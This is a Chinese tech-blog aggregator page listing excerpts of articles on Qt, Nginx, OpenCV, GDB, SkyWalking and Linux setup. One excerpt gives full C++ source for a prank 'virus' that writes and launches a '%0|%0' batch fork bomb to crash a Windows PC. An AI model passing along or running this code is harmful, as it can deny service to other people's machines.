Qt 遮罩层,等待后台处理动画效果

当后台需要大量处理数据,前台要显示等待界面时,这个就很有用。完全挡住界面上的内容,后面有半透明遮挡层,不能点击操作后面界面,用户不能自己取消等待界面,防止误操作。并且窗口大小变化时,自动适应界面变化,不阻塞窗口移动和放大缩小,非模态的。不是C#里面那种窗口截图的烂效果,真遮罩,真背景半透明。需要配合多线程使用,前台显示等待界面,后台线程处理数据,当处理完毕,通过信号槽发消息通知前台取消等待状态。...
分类: 业界资讯 发布时间: 11-01 18:24 阅读次数: 0

哔哩哔哩视频下载神器

是不是在B站上看到好看的视频,想下载却发现没有下载的入口?这里推荐一个下载神器。我这里使用的是Google浏览器作为案例。下载地址https://cdn.jsdelivr.net/gh/the1812/Bilibili-Evolved@master/bilibili-evolved.user.js点击下载安装。基本使用当你重新打开bilibili时,在网页中可以看到两个按钮当你浏览视频时,在视频播放的界面,我们点击一个按钮就会有下载视频,下载弹幕等功能,点击下载视频按钮:选择视频相
分类: 业界资讯 发布时间: 11-01 18:24 阅读次数: 0

一段被Try-Catch包裹的代码,差点让我丢了工作!

“一段被 try-catch 包裹后的代码在产线稳定运行了 200 天后忽然发生了异常,而这个异常竟然导致了产线事务回滚。图片来自 Pexels这期间究竟发生了什么?日常在项目过程中该如何避免事务异常?就在这个时候,老板拿着《XX 公司关于三十岁员工优化通知》走了过来......01产线部分数据丢失了,因为一个蹊跷的事务回滚。而造成事务回滚的,竟然是一段被 try-cath 包裹后的代码,一段已经
分类: 编程语言 发布时间: 11-01 18:24 阅读次数: 0

RHEL7 Install SpaceVim+neovim for Python3.9

RHEL7 Install SpaceVim+neovim for Python3.9工作环境:MacBook,作为工作客户端RHEL7中控服务器,管理其他服务器和虚机之前总是在本地mac上编辑为了统一工作平台,只在一个地方保存相关文件,所以把工作环境放在自己的中控服务器上,无论在单位还是回家vpn都是一个工作平台,方便安全,随时开机连上终端就是自己的工作平台了,本地只需要一个好用的终端,配合中控机上的tmux,操起来还是很方便的,tmux 常用快捷键并不多,nvim主要是的快捷键:[SPC]、[W
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

Nginx虚拟主机 基于域名、IP、端口 都有什么区别呢?

基于域名的虚拟主机 : 不同的域名 相同的IP基于端口的虚拟主机 : 不使用域名、IP来区分,而是用不同的TCP端口号基于IP地址的虚拟主机 : 不同的域名 不同的IP ( 需要加网络接口 )安装nginx (这里是yum装)[root@localhost ~]# yum -y install epel-release[root@localhost ~]# yum -y install nginx创建个测试页面[root@localhost ~]# vim /usr/share/nginx/
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

嵌入式程序应用调试

目录一、安装opencv-3.4.121、将在网上下载好的opencv-3.4.12拖进unbuntu并将其复制到主目录下2、打开终端解压包3、 进入到解压后的文件包中4、 安装依赖库和cmake5、创建编译文件夹6、进行cmake7、配置OpenCV的编译环境8、执行如下命令使得刚才的配置路径生效9、执行如下命令使得配置生效并更新二、 Linux编程1、在opencv-3.4.1下新建文件夹mytest2、创建test.cpp3、进入编程4、保存并编译5、运行结果三级目录一、安装opencv-3.4.1
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

在Ubuntu18.04系统下练习Opencv3.4.1

在Ubuntu18.04系统下练习Opencv3.4.1安装Opencv3.4.1安装Opencv3.4.1官网下载Sources版本将下载文件复制到主目录下安装依赖库和cmake输入以下命令sudo apt-get install cmake sudo apt-get install build-essential libgtk2.0-dev libavcodec-dev libavformat-dev libjpeg.dev libtiff5.dev libswscale-dev
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

QEMU搭建U-Boot+Linux+NFS 环境 学习笔记

使用QEMU搭建U-Boot+Linux+NFS嵌入式开发环境QEMU简介使用QEMU的事情使用QEMU学习嵌入式的好处驱动开发技能搭建嵌入式基本开发环境基本环境Vmware+Ubuntu18.04Vmwaretools更新软件源安装uboot-tools代码编辑管理工具:git/vim交叉编译器:gcc-arm-linux-gnueabi交叉编译ABI和EABI安装QEMU安装环境自动安装手动编译安装QEMU支持的开发板ARM express开发板简介Vexpress系列开发板Vexpress系列支持的C
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

Linux虚拟机中最小化安装使用rz命令报错:-bash: rz: 未找到命令

目录说明报错内容报错原因解决方案说明虚拟机ISO映像版本CentOS-7-x86_64-DVD-2003.iso虚拟机的软件选择最小化安装报错内容报错原因Linux虚拟机最小化安装是没有各种依赖包的,这些包需要自己后期自己连接网络后进行添加,或直接添加本地依赖包(ps:前提是本地有)解决方案联网的状态下输入以下yum命令安装rz服务yum install lrzsz安装进程加载完以后出现下图即为安装成功...
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

Linux的初学者写代码基本步骤(gcc和gdb)

Linux的gcc基本命令一、用vim写C语言(C++)(1)一般模式(2)编辑模式一、用vim写C语言(C++)首先介绍一下Vim命令。早期的Linux使用vi作为系统默认的编辑器,而Vim是vi的升级版,主要区别是Vim可显示颜色,便于用户编辑,命令的使用差别不大。Vim有3种模式:一般模式、编辑模式和命令模式。(1)一般模式一般模式就是在终端输入vim命令后进入的界面。该模式只能移动光标位置。常用命令:按键作用 shift + 6 移动到本行行首 s
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

关于虚拟机VMware无法打win7的解决办法之一

关于虚拟机VMware无法打win7的解决办法之一这个星期有个小作业需要用到虚拟机,因为经常卸载和重装所以经常出问题,之前有装过Ubuntu,陆陆续续遇到了些问题但是没有想过整理记录(有点可惜)今天在这里做个简单记录虚拟机的版本是VMware workstation 15 PRO镜像系统是win7x64(是老师给的)附上百度网盘(仅供学习,商用请支持正版):链接:https://pan.baidu.com/s/1o_wVLrNzFkYTbKZFosXeOQ提取码:heu4问题描述直接上图
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

带你领略GDB和OpenCV

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言一、GDB调试[gcc -g 选项](https://blog.csdn.net/zlzlei/article/details/7781617?utm_source=app)二、使用步骤1.引入库2.读入数据总结前言提示:这里可以添加本文要记录的大概内容:例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。提示:以下是本篇文章正文内容,下面案例可供参
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

c++坑人小病毒三行杀电脑不是关机的玩意

c++三行杀电脑重启源码:#include<bits/stdc++.h>int main(){ freopen("FUCK.bat","w",stdout); std::cout<<"%0|%0"; system("start FUCK.bat");} 解释:首先是熟悉的万能头,这个没什么用,,只不过顺手而为之然后是熟悉的freopen了这个作用主要是重定向并生成一个文件,然后通过cout在其中输入“%0|%0”,这样一个主要的病毒原件就创建完成了,%0 指
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

nginx 如何替换SSL证书?

目录1.找到nginx主配置文件nginx.conf 示例:[root@shuaishuai ~]# find / -name nginx.conf2.切换目录 示例:[root@shuaishuai ~]# cd /usr/local/nginx/conf/nginx.conf3.vim 编辑主配置文件nginx.conf,找出证书的配置路径 示例:[root@shuaishuai conf]# vim nginx.conf4.切换目录至...
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

Linux下安装 SkyWalking 分布式追踪系统--完全无代码入侵【落地】

Linux下安装 SkyWalking 分布式追踪系统--完全无代码入侵【落地】背景:由于现系统拆分为了分布式系统,对于线上查看错误日志有点费劲方案:部署搭建 SkyWalking的分布式追踪系统一、SkyWalking简介SkyWalking 介绍:SkyWalking项目是由华为大牛吴晟开源的个人项目,目前已经加入Apache孵化器。SkyWalking项目的核心目标是针对微服务、Cloud Native、容器化架构提供应用性能监控 和 分布式调用链 追踪功能,目前链路追踪和监控应用
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

Linux邮件服务器搭建实验

Linux邮件服务器搭建实验前言本文重点在于后面的搭建过程,前面会简单介绍邮件服务原理与工作流程,如果有什么错误或遗漏的地方,欢迎大家指正批评,谢谢。基本理论说明电子邮件服务器是处理邮件交换的软硬件设施的总称,包括电子邮件程序、电子邮箱等。它是为用户提供基于 E-mail 服务的电子邮件系统,人们通过访问服务器实现邮件的交换。同时邮件具有法律效益,可以提供证明,即时通讯软件则无法做到这一点,有些公司为了信息安全,会在内部搭建邮件服务。常见的邮件服务器Sendmail、Qmail、Postfix、
分类: 业界资讯 发布时间: 11-01 18:14 阅读次数: 0

如何找一个程序员做男朋友?

众所周知,在互联网高速发展的今天,程序员这个行业已成为众多人向往的职业香饽饽,这个群体渐渐成为了目前相亲市场的一只主力军,更是成为了当代丈母娘的钦点“女婿”。图片来自 Pexels最近,微博上有位女网友提问:从什么渠道可以认识程序员男孩子?于是幽默的程序员开始了自黑模式:你哪是看中程序员了?别以为我不知道,你是馋人家的小钱钱~其实程序员除了有钱外,还是有挺多优点的。01程序员男生,超闷骚别看他们在
分类: 编程语言 发布时间: 11-01 15:34 阅读次数: 0

不会搭建大数据平台,我被老板优化了...

“随着业务的飞速发展,信息化作为业务的支撑,各个企业都建立了自己的信息化系统。图片来自 Pexels在业务增涨过程中,每个企业不知不觉积累积累了一些数据。无论数据是多是少,企业都希望让“数据说话”,通过对数据的采集、存储、分析、计算最终提供对业务有价值信息。此时,大数据平台的搭建就是企业面临的问题,搭建大数据平台有哪些思路?怎么样的搭建路径可以让企业少走弯路?什么样的架构是业内标准?通过什么手段来
分类: 编程语言 发布时间: 11-01 14:54 阅读次数: 0

comNG 串口助手 V2.0.0 发布:添加多标签支持

分类: 业界资讯 发布时间: 11-01 14:44 阅读次数: 0

Spring Batch 4.3 正式 GA

分类: 业界资讯 发布时间: 11-01 14:44 阅读次数: 0